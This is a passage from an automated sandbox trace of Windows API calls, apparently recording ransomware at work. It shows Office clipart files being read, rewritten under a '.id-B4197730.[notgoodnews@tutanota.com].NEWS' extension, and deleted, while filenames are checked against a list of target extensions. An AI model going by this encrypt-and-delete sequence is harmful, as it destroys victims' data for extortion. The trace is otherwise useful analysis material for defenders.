office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.294] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.294] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0164.295] GetLastError () returned 0x0 [0164.295] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xd04, lpOverlapped=0x0) returned 1 [0164.300] WriteFile (in: hFile=0x4e0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd10, lpOverlapped=0x0) returned 1 [0164.301] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.301] WriteFile (in: hFile=0x4e0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.301] SetEndOfFile (hFile=0x4e0) returned 1 [0164.301] CloseHandle (hObject=0x4e0) returned 1 [0164.301] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.302] SetEndOfFile (hFile=0x520) returned 1 [0164.306] CloseHandle (hObject=0x520) returned 1 [0164.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0164.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.308] lstrlenW (lpString=".doc") returned 4 [0164.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString=".docx") returned 5 [0164.308] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.308] lstrlenW (lpString=".pdf") returned 4 [0164.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString=".xls") returned 4 [0164.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.308] lstrlenW (lpString=".xlsx") returned 5 [0164.308] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.308] lstrlenW (lpString=".ppt") returned 4 [0164.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.308] lstrlenW (lpString=".zip") returned 4 [0164.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.308] lstrlenW (lpString=".rar") returned 4 [0164.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString=".bz2") returned 4 [0164.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString=".7z") returned 3 [0164.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.308] lstrlenW (lpString=".dbf") returned 4 [0164.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".1cd") returned 4 [0164.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".jpg") returned 4 [0164.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".doc") returned 4 [0164.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString=".docx") returned 5 [0164.309] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.309] lstrlenW (lpString=".pdf") returned 4 [0164.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString=".xls") returned 4 [0164.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.309] lstrlenW (lpString=".xlsx") returned 5 [0164.309] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.309] lstrlenW (lpString=".ppt") returned 4 [0164.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".zip") returned 4 [0164.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.309] lstrlenW (lpString=".rar") returned 4 [0164.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString=".bz2") returned 4 [0164.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString=".7z") returned 3 [0164.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".dbf") returned 4 [0164.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.309] lstrlenW (lpString=".1cd") returned 4 [0164.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0164.310] lstrlenW (lpString=".jpg") returned 4 [0164.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.310] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.310] lstrlenW (lpString="J0090779.WMF") returned 12 [0164.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.310] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1456) returned 1 [0164.310] CloseHandle (hObject=0x520) returned 1 [0164.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0164.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.311] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.311] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0164.312] GetLastError () returned 0x0 [0164.312] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5b0, lpOverlapped=0x0) returned 1 [0164.320] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0164.321] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.321] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.321] SetEndOfFile (hFile=0x4e8) returned 1 [0164.321] CloseHandle (hObject=0x4e8) returned 1 [0164.321] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.321] SetEndOfFile (hFile=0x520) returned 1 [0164.324] CloseHandle (hObject=0x520) returned 1 [0164.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0164.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.325] lstrlenW (lpString=".doc") returned 4 [0164.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.325] lstrlenW (lpString=".docx") returned 5 [0164.325] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.325] lstrlenW (lpString=".pdf") returned 4 [0164.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.325] lstrlenW (lpString=".xls") returned 4 [0164.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.325] lstrlenW (lpString=".xlsx") returned 5 [0164.325] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.325] lstrlenW (lpString=".ppt") returned 4 [0164.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.325] lstrlenW (lpString=".zip") returned 4 [0164.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.325] lstrlenW (lpString=".rar") returned 4 [0164.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.325] lstrlenW (lpString=".bz2") returned 4 [0164.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.325] lstrlenW (lpString=".7z") returned 3 [0164.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.325] lstrlenW (lpString=".dbf") returned 4 [0164.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".1cd") returned 4 [0164.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".jpg") returned 4 [0164.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".doc") returned 4 [0164.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString=".docx") returned 5 [0164.326] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.326] lstrlenW (lpString=".pdf") returned 4 [0164.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString=".xls") returned 4 [0164.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.326] lstrlenW (lpString=".xlsx") returned 5 [0164.326] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.326] lstrlenW (lpString=".ppt") returned 4 [0164.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".zip") returned 4 [0164.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.326] lstrlenW (lpString=".rar") returned 4 [0164.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString=".bz2") returned 4 [0164.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString=".7z") returned 3 [0164.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".dbf") returned 4 [0164.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.326] lstrlenW (lpString=".1cd") returned 4 [0164.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0164.327] lstrlenW (lpString=".jpg") returned 4 [0164.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.327] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.327] lstrlenW (lpString="J0090781.WMF") returned 12 [0164.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.327] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5314) returned 1 [0164.327] CloseHandle (hObject=0x520) returned 1 [0164.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0164.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.328] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.328] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0164.329] GetLastError () returned 0x0 [0164.329] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x14c2, lpOverlapped=0x0) returned 1 [0164.781] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x14d0, lpOverlapped=0x0) returned 1 [0165.111] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.111] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.111] SetEndOfFile (hFile=0x4e8) returned 1 [0165.111] CloseHandle (hObject=0x4e8) returned 1 [0165.112] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.112] SetEndOfFile (hFile=0x520) returned 1 [0165.115] CloseHandle (hObject=0x520) returned 1 [0165.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.116] lstrlenW (lpString=".doc") returned 4 [0165.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.116] lstrlenW (lpString=".docx") returned 5 [0165.116] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0165.116] lstrlenW (lpString=".pdf") returned 4 [0165.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.116] lstrlenW (lpString=".xls") returned 4 [0165.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.116] lstrlenW (lpString=".xlsx") returned 5 [0165.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0165.116] lstrlenW (lpString=".ppt") returned 4 [0165.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.116] lstrlenW (lpString=".zip") returned 4 [0165.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.116] lstrlenW (lpString=".rar") returned 4 [0165.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.116] lstrlenW (lpString=".bz2") returned 4 [0165.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.116] lstrlenW (lpString=".7z") returned 3 [0165.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".dbf") returned 4 [0165.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".1cd") returned 4 [0165.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".jpg") returned 4 [0165.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".doc") returned 4 [0165.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString=".docx") returned 5 [0165.117] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0165.117] lstrlenW (lpString=".pdf") returned 4 [0165.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString=".xls") returned 4 [0165.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.117] lstrlenW (lpString=".xlsx") returned 5 [0165.117] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0165.117] lstrlenW (lpString=".ppt") returned 4 [0165.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".zip") returned 4 [0165.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.117] lstrlenW (lpString=".rar") returned 4 [0165.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString=".bz2") returned 4 [0165.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString=".7z") returned 3 [0165.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.117] lstrlenW (lpString=".dbf") returned 4 [0165.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.118] lstrlenW (lpString=".1cd") returned 4 [0165.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0165.118] lstrlenW (lpString=".jpg") returned 4 [0165.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.118] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.118] lstrlenW (lpString="J0099153.WMF") returned 12 [0165.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.118] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=13874) returned 1 [0165.118] CloseHandle (hObject=0x520) returned 1 [0165.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0165.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 